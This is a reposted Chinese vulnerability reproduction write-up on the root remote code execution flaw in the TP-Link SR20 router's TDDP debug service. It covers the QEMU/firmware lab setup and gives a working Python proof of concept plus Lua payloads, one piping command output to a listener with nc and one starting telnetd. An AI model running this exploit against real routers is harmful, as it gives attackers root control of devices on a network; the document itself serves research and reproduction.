1. 威客安全首页
  2. 安全资讯

重现 TP-Link SR20 本地网络远程代码执行漏洞

重现 TP-Link SR20 本地网络远程代码执行漏洞


作者:xax007@知道创宇404 ScanV 安全服务团队

简 述


3月26号 Google 安全开发人员 Matthew Garrett 在 Twitter 上公布了 TP-Link Smart Home Router (SR20) 的远程代码执行漏洞,公布的原因是他去年 12 月份将相关漏洞报告提交给 TP-Link后没有收到任何回复,于是就公开了,该漏洞截至目前官方修复,在最新固件中漏洞仍然存在,属于 0day 漏洞,当我看到漏洞证明代码(POC)后决定尝试重现此漏洞。


重现 TP-Link SR20 本地网络远程代码执行漏洞


TP-Link SR20 是一款支持 Zigbee 和 Z-Wave 物联网协议可以用来当控制中枢 Hub 的触屏 Wi-Fi 路由器,此远程代码执行漏洞允许用户在设备上以 root 权限执行任意命令,该漏洞存在于 TP-Link 设备调试协议(TP-Link Device Debug Protocol 英文简称 TDDP) 中,TDDP 是 TP-Link 申请了专利的调试协议,基于 UDP 运行在 1040 端口


TP-Link SR20 设备运行了 V1 版本的 TDDP 协议,V1 版本无需认证,只需往 SR20 设备的 UDP 1040 端口发送数据,且数据的第二字节为 0x31 时,SR20 设备会连接发送该请求设备的 TFTP 服务下载相应的文件并使用 LUA 解释器以 root 权限来执行,这就导致存在远程代码执行漏洞


重现 TP-Link SR20 本地网络远程代码执行漏洞


漏洞环境搭建


以下所有操作都在 Ubuntu LTS 18.04 系统下进行


源码编译 QEMU


Qemu 是纯软件实现的虚拟化模拟器,几乎可以模拟任何硬件设备,我们最熟悉的就是能够模拟一台能够独立运行操作系统的虚拟机


APT 仓库有 QEMU,本可以使用 APT apt install qemu 直接安装,但 APT 仓库中的版本通常都不是最新的,担心会有未知的 bug,因此选择从 QEMU 官网下载最新稳定版源码来编译安装

$ wget https://download.qemu.org/qemu-3.1.0.tar.xz # 下载源码
$ tar xvJf qemu-4.0.0-rc1.tar.xz #解压源码压缩包
$ cd qemu-4.0.0-rc1 # 进入源码目录
$ ./configure –target-list=arm-softmmu –audio-drv-list=alsa,pa # 编译前配置
$ make # 编译


如果 configure 时没有指定 target-list 参数,make 会编译针对所有平台的 QEMU 导致会耗很长很长的时间,因此可以选择只编译 ARM 版的 QEMU 来加快编译速度,至于选择 ARM 版是因为 TP-Link SR20 存在漏洞的固件基于是 ARM 架构,下文中会看到。


编译完成后安装 checkinstall 来生成 deb 包

$ sudo apt-get install checkinstall # 安装 checkinstall
$ sudo checkinstall make install    # 使用 checkinstall 生成 deb 包并安装


如果不使用 checkinstall,直接sudo make install的会把 qemu 安装在多个位置,如果发生错误不方便删除,所以使用 checkinstall 生成 deb 包方便安装和卸载。


安装完成后可以看到安装的版本


重现 TP-Link SR20 本地网络远程代码执行漏洞


安装 Binwalk


Binwalk 是一款文件的分析工具,旨在协助研究人员对文件进行分析,提取及逆向工程

$ sudo apt install git
$ git clone https://github.com/ReFirmLabs/binwalk
$ cd binwalk
$ python setup.py install
$ sudo ./deps.sh $ Debian/Ubuntu 系统用户可以直接使用 deps.sh 脚本安装所有的依赖


更详细的安装方法可以查看 Binwalk 的 GitHub wiki


PS: 本人在最后一步运行deps.sh安装依赖的时 cramfstools 编译出错导致安装失败,如果你也遇到这个问题,不必理会,因为针对本文讲述的漏洞,这个包并不需要安装


从固件提取文件系统


从 TP-Link SR20 设备官网下载固件, 下载下来是一个 zip 压缩包,解压以后进入解压后目录,可以看到一个名字很长的叫 tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin 的文件,这个就是该 SR20 设备的 firmware (固件)


使用 binwalk 查看该固件


重现 TP-Link SR20 本地网络远程代码执行漏洞


使用 binwalk 把 Squashfs filesystem 从固件中提取出来,在固件 bin 文件所在目录执行

$ binwalk -Me tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin


binwalk 会在当前目录的 _+bin文件名 目录下生成提取出来的固件里的所有内容,进入到该目录


重现 TP-Link SR20 本地网络远程代码执行漏洞


squashfs-root 目录就是我们需要的固件文件系统


重现 TP-Link SR20 本地网络远程代码执行漏洞


在该文件系统目录下查找存在漏洞的 tddp 文件并查看文件类型可以看到该文件是一个 ARM 架构的小端(Small-Endian)32 位 ELF 文件


重现 TP-Link SR20 本地网络远程代码执行漏洞


最高有效位 MSB(Most Significant Bit) 对应大端 (Big-endian)

最低有效位 LSB(Least Significant Bit) 对应小端 (Little-endian)
详细介绍可阅读:大端小端与MSB和LSB


这时可以使用 QEMU 来运行该文件

$ qemu-arm -L . ./usr/bin/tddp


PS: 不加 -L . 参数运行 qemu-arm 会报错, -L . 参数会把当前目录加入到 PATH 路径中

重现 TP-Link SR20 本地网络远程代码执行漏洞


经过测试发现通过这种方式运行 TDDP 程序并不能触发该漏洞,因此需要搭建完整的 ARM QEMU 虚拟机环境


搭建ARM QEMU虚拟机环境


ARM CPU 有两个矢量浮点(软浮点和硬浮点)具体区别可以查看 Stackoverflow,本次选择使用硬浮点 armhf


从 Debian 官网下载 QEMU 需要的 Debian ARM 系统的三个文件:


  • debian_wheezy_armhf_standard.qcow2 2013-12-17 00:04 229M

  • initrd.img-3.2.0-4-vexpress 2013-12-17 01:57 2.2M

  • vmlinuz-3.2.0-4-vexpress 2013-09-20 18:33 1.9M


把以上三个文件放在同一个目录执行以下命令

$ sudo tunctl -t tap0 -u `whoami` # 为了与 QEMU 虚拟机通信,添加一个虚拟网卡
$ sudo ifconfig tap0 10.10.10.1/24 # 为添加的虚拟网卡配置 IP 地址
$ qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2 console=ttyAMA0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic


重现 TP-Link SR20 本地网络远程代码执行漏洞


重现 TP-Link SR20 本地网络远程代码执行漏洞


虚拟机启动成功后会提示登陆


用户名和密码都为 root


重现 TP-Link SR20 本地网络远程代码执行漏洞


配置网卡IP

ifconfig eth0 10.10.10.2/24


重现 TP-Link SR20 本地网络远程代码执行漏洞


此时 QEMU 虚拟机可以与宿主机进行网络通信


现在需要把从固件中提取出的文件系统打包后上传到 QEMU 虚拟机中


压缩固件文件系统目录下的整个文件

$ tar -cjpf squashfs-root.tar.bz2 squashfs-root/


使用 Python 搭建简易 HTTP Server

$ python -m SimpleHTTPServer


在 QEMU 虚拟机中下载上面打包好的文件

$  wget http://10.10.10.1:8000/squashfs-root.tar.bz2


重现 TP-Link SR20 本地网络远程代码执行漏洞


使用 chroot 切换根目录固件文件系统

$ mount -o bind /dev ./squashfs-root/dev/
$ mount -t proc /proc/ ./squashfs-root/proc/
$ chroot squashfs-root sh # 切换根目录后执行新目录结构下的 sh shell


PS: 使用 chroot 后,系统读取的是新根下的目录和文件,也就是固件的目录和文件 chroot 默认不会切换 /dev 和 /proc, 因此切换根目录前需要现挂载这两个目录


重现 TP-Link SR20 本地网络远程代码执行漏洞


如果你有树莓派,可以直接拿来用,几年前买过一个树莓派2B+,经过我的测试,安装了 Raspbian 的树莓派完全可以拿做做 ARM 的测试环境


重现 TP-Link SR20 本地网络远程代码执行漏洞

重现 TP-Link SR20 本地网络远程代码执行漏洞


搭建 TFTP Server


在宿主机安装 atftpd 搭建 TFTP 服务

$ sudo apt install atftpd


  • 编辑 /etc/default/atftpd 文件,USE_INETD=true 改为 USE_INETD=false

  • 修改 /srv/tftp 为 /tftpboot


最终 /etc/default/atftpd 文件内容如下:

USE_INETD=false
# OPTIONS below are used only with init script
OPTIONS=”–tftpd-timeout 300 –retry-timeout 5 –mcast-port 1758 –mcast-addr 239.239.239.0-255 –mcast-ttl 1 –maxthread 100 –verbose=5 /tftpboot”
$ mkdir /tftpboot
$ chmod 777 /tftpboot
$ sudo systemctl start atftpd # 启动 atftpd


如果执行命令 sudo systemctl status atftpd 查看 atftpd 服务状态时


提示 atftpd: can’t bind port :69/udp 无法绑定端口


可以执行 sudo systemctl stop inetutils-inetd.service 停用 inetutils-inetd 服务后


再执行 sudo systemctl restart atftpd 重新启动 atftpd 即可正常运行 atftpd

重现 TP-Link SR20 本地网络远程代码执行漏洞


此时环境已搭建完毕


重现漏洞


在 atftp 的根目录 /tftpboot 下写入 payload 文件


payload 文件内容为:

function config_test(config)
 os.execute(“id | nc 10.10.10.1 1337”)
end


重现 TP-Link SR20 本地网络远程代码执行漏洞


重现步骤为:

  1. QEMU 虚拟机中启动 tddp 程序

  2. 宿主机使用 NC 监听端口

  3. 执行 POC,获取命令执行结果


漏洞证明代码(Proof of concept):

#!/usr/bin/python3

# Copyright 2019 Google LLC.
# SPDX-License-Identifier: Apache-2.0

# Create a file in your tftp directory with the following contents:
#
#function config_test(config)
#  os.execute(“telnetd -l /bin/login.sh”)
#end
#
# Execute script as poc.py remoteaddr filename

import sys
import binascii
import socket

port_send = 1040
port_receive = 61000

tddp_ver = “01”
tddp_command = “31”
tddp_req = “01”
tddp_reply = “00”
tddp_padding = “%0.16X” % 00

tddp_packet = “”.join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding])

sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_receive.bind((”, port_receive))

# Send a request
sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
packet = binascii.unhexlify(tddp_packet)
argument = “%s;arbitrary” % sys.argv[2]
packet = packet + argument.encode()
sock_send.sendto(packet, (sys.argv[1], port_send))
sock_send.close()

response, addr = sock_receive.recvfrom(1024)
r = response.encode(‘hex’)
print(r)


最终成功重现此漏洞

重现 TP-Link SR20 本地网络远程代码执行漏洞

重现 TP-Link SR20 本地网络远程代码执行漏洞


参考链接 4 中说到 TP-Link 的 TL-WA5210g 无线路由器的 TDDP 服务只能通过有线网络访问,连 Wi-Fi 也不能访问,由于手上没有 SR20设备,因此断定该 SR20 设备的 TDDP 端口可能也是这种情况,我想这应该就是官方未修复此漏洞的原因吧


参考链接 4 中详细介绍 TDDP 协议以及该协议 V1 和 V 2版本的区别等知识点


最后感谢知道创宇404实验室 @fenix 大佬的指点。


🔗

参 考 链 接


[1] Remote code execution as root from the local network on TP-Link SR20 routers

https://mjg59.dreamwidth.org/51672.html

[2] How to set up QEMU 3.0 on Ubuntu 18.04

https://www.reddit.com/r/VFIO/comments/9pi2cd/how_to_set_up_qemu_30_on_ubuntu_1804/

[3]Vivotek 摄像头远程栈溢出漏洞分析及利用

https://paper.seebug.org/480/

[4]一个针对TP-Link调试协议(TDDP)漏洞挖掘的故事

https://www.anquanke.com/post/id/84991



重现 TP-Link SR20 本地网络远程代码执行漏洞 

往 期 热 门


重现 TP-Link SR20 本地网络远程代码执行漏洞  重现 TP-Link SR20 本地网络远程代码执行漏洞


觉得不错点个“在看”哦重现 TP-Link SR20 本地网络远程代码执行漏洞

原文始发于微信公众号(Seebug漏洞平台):重现 TP-Link SR20 本地网络远程代码执行漏洞

本文转为转载文章,本文观点不代表威客安全立场。

发表评论

电子邮件地址不会被公开。 必填项已用*标注

联系我们

4006-119-120

在线咨询:点击这里给我发消息

邮件:public@jinlongsec.com

工作时间:周一至周五,9:30-18:30,节假日休息

X